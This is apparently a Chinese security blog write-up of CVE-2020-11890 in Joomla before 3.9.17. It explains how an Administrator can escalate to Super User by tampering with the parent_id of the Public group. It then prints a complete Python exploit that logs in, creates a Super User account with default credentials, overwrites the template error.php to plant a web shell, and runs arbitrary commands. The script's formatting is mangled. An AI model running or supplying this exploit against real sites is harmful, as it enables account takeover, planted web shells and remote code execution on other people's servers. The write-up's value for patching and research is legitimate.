(CVE-2020-11890)Joomla_远程命令执行漏洞

# (CVE-2020-11890)Joomla 远程命令执行漏洞

=======================

一、漏洞简介
————

受影响的版本:3.9.17之前的Joomla核心用户要求:管理员帐户(非超级管理员)获得访问权限:创建一个新的超级管理员,然后触发RCE。

二、漏洞影响
————

Joomla \< 3.9.17 三、复现过程 ------------ 漏洞分析 -------- 本次漏洞可以将joomla系统中的Administrator用户提权为Super Users。在分析漏洞前,我们来看一下Super Users与Administrator有什么区别: 超级管理员 (Super Users):拥有Joomla的所有权限。并且超级管理员只能由另一个超级管理员来创建。 高级管理员(Administrator):Administrator没有权限将一个用户升级成超级用户或者编辑一个超级用户、不可以修改Joomla的全局设置,没有权限来改变和安装模板和Joomla的语言文件。 作为测试,我们新建三个账号,分别为administrator(administrator用户组)、Super User(Super User用户组)、test(administrator用户组) ![1.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId25.png) 使用Administrator账号登陆,访问Joomla全局设置链接 /administrator/index.php?option=com\_config ![2.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId26.png) 可见Administrator用户组权限不可以访问该功能页面。 使用Administration账号编辑test账号的用户组 ![3.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId27.png) Administrator用户组权限不可以为其他的用户添加super user权限 使用Superuser账号登陆,访问Joomla全局设置链接 ![4.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId28.png) Superuser权限可以访问Joomla全局设置页面 使用Superuser账号编辑test账号的用户组 ![5.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId29.png) 可以为test账号添加super user权限 ### 关于漏洞的初步猜测 在刚看到漏洞简介时,我猜测会不会是joomla只在前端做了校验,使用Administration账号编辑test账号的用户组时,在前端把super user这个选项卡隐藏起来了,后端并未校验权限,使得漏洞产生。 为了验证我的猜想,我在修改test用户组时抓包并修改其中的jform\[groups\]值 ![6.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId31.png) 每一个用户组都有一个id值,这个可以通过数据库中查看得来 ![7.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId32.png) 因为我需要将test账号改为super users用户组权限,因此需改数据包中jform\[groups\]值为8 经过测试发现,这是行不通的 ![8.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId33.png) 在猜想失败之后,只好动态调试一下源代码,看一下joomla是如何进行权限校验的 ### 动态调试 既然在上文猜想中,我们强行改包时抛出了个Save failed with the following error: User not SuperAdministrator错误,那么直接在源代码中找到抛出错误的位置libraries\\src\\User\\User.php ![9.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId35.png) 可见上图中,只要checkGroup方法为真,则进入if分支抛出Save failed with the following error: User not Super Administrator错误 ![10.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId36.png) 首先来看下getGroupPath ![1.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId37.png) getGroupPath的作用是通过传入的groupid参数,获取要查询的用户组分支中叶子节点所属用户组,并返回到树的根节点。简而言之,就是获取用户组列表------groups列表中对应用户组的path属性值 ### 用户组列表(groups) 我们来看下groups列表是什么,是怎么生成的用户组列表(groups)中记录了所有用户组的属性值,包括名称、id、双亲节点信息、该节点的祖先数组 接下来分析下groups列表是怎么生成的首先,程序从数据库usergroups表中读取每一个用户组的属性值数据库中数据如下 ![2.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId39.png)程序读取后赋值到groups数组中 ![3.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId40.png) 接着调用populateGroupData方法对groups数组中每个用户组数据进行补充 ![4.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId41.png) 在这一环节,程序将为每一个用户组提供path与level属性值 其中path属性就是树形结构中以该用户组节点的祖先(Ancestor)数组、level即为该结点的层次(Levelof Node) 回顾一下数据库中每个用户组的属性值,这里注意parent\_id值 ![5.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId42.png) 除了Public父节点为0之外,其他的用户组在表中都存在对应的双亲节点。可见Public用户组为树形结构中的根节点,层次为1。 ![6.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId43.png) Registered、Manager、Super Users、Guest的双亲节点id皆为1,即Public节点 。层次为2剩余的用户组节点分别以Registered、Manager、Super Users、Guest四个节点作为双亲节点。 用户节点的树形图如下 ![7.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId44.png) 动态调试结果如下 ![8.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId45.png) 从上图可见,这里以Public用户组节点举例:Public作为根节点,其path以及level生成时比较特殊,进入parentid为0的if分支,最终祖先数组path为array(0 =\> \’1\’), level为0

再以Registered、Manager、Super
Users、Guest这四个层次为2的用户组节点中的Guest节点为例

![9.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId46.png)

Guest节点的path为array (0 =\> \’1\’,1
=\>\’9\’,),level为1。Path是由Guest节点所有祖先组成的集合,level值为该节点层数减一

最后看一下其他层次大于2的节点,以Administrator用户组节点举例

![10.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId47.png)

从数据库中可见,Administrator用户组双亲节点id为6,对应
Manager节点,Manager用户组节点的双亲节点id为1,对应Public用户组节点。其层次为3

![11.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId48.png)

通过调试也可看出,Administrator用户组节点的祖先数组path为array (0 =\>
\’1\’, 1 =\>\’6\’, 2 =\> \’7\’,),level为2

在弄明白groups列表之后,看一下程序是如何判断当前用户的权限判断的

回到checkGroup方法中

![12.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId49.png)

上文以及指导getGroupPath方法的作用了,由于我们请求构造中的\$groupid为8,即想把test账号添加到id为8对应的super
users组。getGroupPath接收传入的\$groupid,返回super
user节点的祖先数组array (0=\> \’1\’, 1 =\> \’8\’,)

![13.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId50.png)

接着,在libraries\\src\\Access\\Rule.php的allow方法中,程序遍历superuser的祖先数组array(0 =\> \’1\’, 1 =\> \’8\’,)

![14.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId51.png)

程序判断superuser的祖先节点是否有在\$this-\>data中出现,\$this-\>data值如下

![15.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId52.png)

\$this-\>data数组代表目前用户不可以访问的节点id。由于我们使用的是administrator用户组的账号,不可以操作的用户组节点id为8,即super
user,因此\$this-\>data数组值为array (8 =\> 1,)

superuser的祖先数组中的叶子节点值为8,正好在目前用户不可以访问的\$this-\>data数组中

![16.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId53.png)

因此该用户权限无法进行操作,程序抛出当前用户不是超级管理员的错误

![17.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId54.png)

### 漏洞复现

![111.png](/static/qingy/(CVE-2020-11890)Joomla_远程命令执行漏洞/img/rId56.png)

#!/usr/bin/python
import sys
import requests
import re
import argparse

def extract_token(resp):
match = re.search(r’name=”([a-f0-9]{32})” value=”1″‘, resp.text, re.S)
if match is None:
print(“[-] Cannot find CSRF token!\n”)
return None
return match.group(1)

def try_admin_login(sess, url, uname, upass):
admin_url = url + ‘/administrator/index.php’
print(‘[+] Getting token for admin login’)
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
if not token:
return False
print(‘[+] Logging in to admin’)
data = {
‘username’: uname,
‘passwd’: upass,
‘task’: ‘login’,
token: ‘1’
}
resp = sess.post(admin_url, data=data, verify=True)
if ‘task=profile.edit’ not in resp.text:
print(‘[!] Admin Login Failure!’)
return None
print(‘[+] Admin Login Successfully!’)
return True

def checkAdmin(url, sess):
print(“[+] Checking admin”)
url_check = url + ‘/administrator/index.php?option=com_users&view=users’
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print “[-] You are not administrator!”
sys.exit()
return token

def checkSuperAdmin(url, sess):
print(“[+] Checking Superadmin”)
url_check = url + ‘/administrator/index.php?option=com_config’
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print “[-] You are not Super-Users!”
sys.exit()
return token

def changeGroup(url, sess, token):
print(“[+] Changing group”)
newdata = {
‘jform[title]’: ‘Public’,
‘jform[parent_id]’: 100,
‘task’: ‘group.apply’,
token: 1
}
newdata[‘task’] = ‘group.apply’
resp = sess.post(url + “/administrator/index.php?option=com_users&layout=edit&id=1”, data=newdata,
verify=True)
if ‘jform[parent_id]’ not in resp.text:
print(‘[!] Maybe failed to change group…’)
return False
else:
print “[+] Done!”
return True

def create_user(url, sess, username, password, email, token):
newdata = {
# Form data
‘jform[name]’: username,
‘jform[username]’: username,
‘jform[password]’: password,
‘jform[password2]’: password,
‘jform[email]’: email,
‘jform[resetCount]’: 0,
‘jform[sendEmail]’: 0,
‘jform[block]’: 0,
‘jform[requireReset]’: 0,
‘jform[id]’: 0,
‘jform[groups][]’: 8,
token: 1,
}
newdata[‘task’] = ‘user.apply’
url_post = url + “/administrator/index.php?option=com_users&layout=edit&id=0”
sess.post(url_post, data=newdata, verify=True)
sess.get(url + “/administrator/index.php?option=com_login&task=logout&” + token + “=1”, verify=True)
sess = requests.Session()
if try_admin_login(sess, url, username, password):
print “[+] Now, you are super-admin!!!!!!!!!!!!!!!!” + “\n[+] Your super-admin account: \n[+] USERNAME: ” + username + “\n[+] PASSWORD: ” + password + “\n[+] Done!”
else:
print “[-] Sorry,exploit fail!”
return sess

def changeGroupDefault(url, sess, token):
print(“[+] Changing group”)
newdata = {
‘jform[title]’: ‘Public’,
‘jform[parent_id]’: 0,
‘task’: ‘group.apply’,
token: 1
}
newdata[‘task’] = ‘group.apply’
resp = sess.post(url + “/administrator/index.php?option=com_users&layout=edit&id=1”, data=newdata,
verify=True)
if ‘jform[parent_id]’ not in resp.text:
print(‘[!] Maybe failed to change group…’)
return False
else:
print “[+] Done!”
return True

def rce(sess, url, cmd, token):
filename = ‘error.php’
shlink = url + ‘/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D’
shdata_up = {
‘jform[source]’: ““,
‘task’: ‘template.apply’,
token: ‘1’,
‘jform[extension_id]’: ‘506’,
‘jform[filename]’: ‘/’ + filename
}
sess.post(shlink, data=shdata_up)
path2shell = ‘/templates/protostar/error.php?cmd=’ + cmd
# print ‘[+] Shell is ready to use: ‘ + str(path2shell)
print ‘[+] Checking:’
shreq = sess.get(url + path2shell)
shresp = shreq.text
print shresp + ‘[+] Shell link: \n’ + (url + path2shell)
print ‘[+] Module finished.’

def main():
# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument(“-url”, “–url”, required=True,
help=” URL for your Joomla target”)
ap.add_argument(“-u”, “–username”, required=True,
help=”username”)
ap.add_argument(“-p”, “–password”, required=True,
help=”password”)
ap.add_argument(“-usuper”, “–usernamesuper”, default=”hk”,
help=”Super’s username”)
ap.add_argument(“-psuper”, “–passwordsuper”, default=”12345678″,
help=”Super’s password”)
ap.add_argument(“-esuper”, “–emailsuper”, default=”hk@hk.com”,
help=”Super’s Email”)
ap.add_argument(“-cmd”, “–command”, default=”whoami”,
help=”command”)
args = vars(ap.parse_args())
# target
url = format(str(args[‘url’]))
print ‘[+] Your target: ‘ + url
# username
uname = format(str(args[‘username’]))
# password
upass = format(str(args[‘password’]))
# command
command = format(str(args[‘command’]))
# username of superadmin
usuper = format(str(args[‘usernamesuper’]))
# password of superadmin
psuper = format(str(args[‘passwordsuper’]))
# email of superadmin
esuper = format(str(args[’emailsuper’]))
# session
sess = requests.Session()
if not try_admin_login(sess, url, uname, upass): sys.exit()
token = checkAdmin(url, sess)
if not changeGroup(url, sess, token):
print “[-] Sorry,exploit fail!”
sys.exit()
sess = create_user(url, sess, usuper, psuper, esuper, token)
token = checkSuperAdmin(url, sess)
# Now you are Super-admin
if token:
# call RCE
changeGroupDefault(url, sess, token) # easy to view :))
rce(sess, url, command, token)

if __name__ == “__main__”:
sys.exit(main())

参考链接
——–

> https://xz.aliyun.com/t/7709\#toc-1> https://github.com/HoangKien1020/CVE-2020-11890

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容